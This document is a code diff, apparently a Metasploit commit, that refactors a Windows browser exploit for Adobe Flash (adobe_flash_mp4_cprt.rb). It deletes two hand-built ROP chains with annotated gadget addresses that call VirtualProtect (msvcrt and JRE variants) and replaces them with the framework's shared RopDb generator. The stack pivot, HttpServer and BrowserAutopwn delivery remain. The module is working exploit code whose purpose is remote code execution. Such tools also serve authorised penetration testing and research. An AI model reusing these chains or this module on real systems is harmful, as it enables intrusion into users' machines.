Adopt RopDb for adobe_flash_mp4_cprt.rb

modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb

@@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
 	Rank = NormalRanking
 
 	include Msf::Exploit::Remote::HttpServer::HTML
-
+	include Msf::Exploit::RopDb
 	include Msf::Exploit::Remote::BrowserAutopwn
 	autopwn_info({
 		:os_name    => OperatingSystems::WINDOWS,
@@ -127,10 +127,6 @@ class Metasploit3 < Msf::Exploit::Remote
 		return rand_text_alpha(n).unpack("V").first
 	end
 
-	def nop
-		return make_nops(4).unpack("V").first
-	end
-
 	def get_payload(t, cli)
 
 		if t['Rop'].nil?
@@ -144,64 +140,14 @@ class Metasploit3 < Msf::Exploit::Remote
 		# No rop. Just return the payload.
 		return code if t['Rop'].nil?
 
-		# Both ROP chains generated by mona.py - See corelan.be
-		case t['Rop']
-		when :msvcrt
-			print_status("Using msvcrt ROP")
-			exec_size = code.length
-			rop =
-			[
-				0x77c4e392,  # POP EAX # RETN
-				0x77c11120,  # <- *&VirtualProtect()
-				0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
-				junk,
-				0x77c2dd6c,
-				0x77c4ec00,  # POP EBP # RETN
-				0x77c35459,  # ptr to 'push esp #  ret'
-				0x77c47705,  # POP EBX # RETN
-				exec_size,   # EBX
-				0x77c3ea01,  # POP ECX # RETN
-				0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
-				0x77c46100,  # POP EDI # RETN
-				0x77c46101,  # ROP NOP (-> edi)
-				0x77c4d680,  # POP EDX # RETN
-				0x00000040,  # newProtect (0x40) (-> edx)
-				0x77c4e392,  # POP EAX # RETN
-				nop,         # NOPS (-> eax)
-				0x77c12df9,  # PUSHAD # RETN
-			].pack("V*")
-
-		when :jre
-			print_status("Using JRE ROP")
-			exec_size = 0xffffffff - code.length + 1
-			rop =
-			[
-				0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
-				exec_size,   # Value to NEG
-				0x7c347f98,  # RETN (ROP NOP)
-				0x7c3415a2,  # JMP [EAX]
-				0xffffffff,
-				0x7c376402,  # skip 4 bytes
-				0x7c351e05,  # NEG EAX # RETN
-				0x7c345255,  # INC EBX # FPATAN # RETN
-				0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
-				0x7c344f87,  # POP EDX # RETN
-				0xffffffc0,  # Value to negate, will become 0x00000040
-				0x7c351eb1,  # NEG EDX # RETN
-				0x7c34d201,  # POP ECX # RETN
-				0x7c38b001,  # &Writable location
-				0x7c347f97,  # POP EAX # RETN
-				0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
-				0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
-				0x7c345c30,  # ptr to 'push esp #  ret '
-			].pack("V*")
-		end
+		rop_name = (t['Rop'] and t['Rop'] == :msvcrt) ? 'msvcrt' : 'java'
+		rop_target = (rop_name == 'msvcrt') ? 'xp' : ''
 
 		pivot  = [t['ppr']].pack('V*')  #POP/POP/RET
 		pivot << [junk].pack('V*')
 		pivot << [t.ret].pack('V*')
 
-		code = pivot + rop + code
+		code = generate_rop_payload(rop_name, code, {'target'=>rop_target})
 		return code
 	end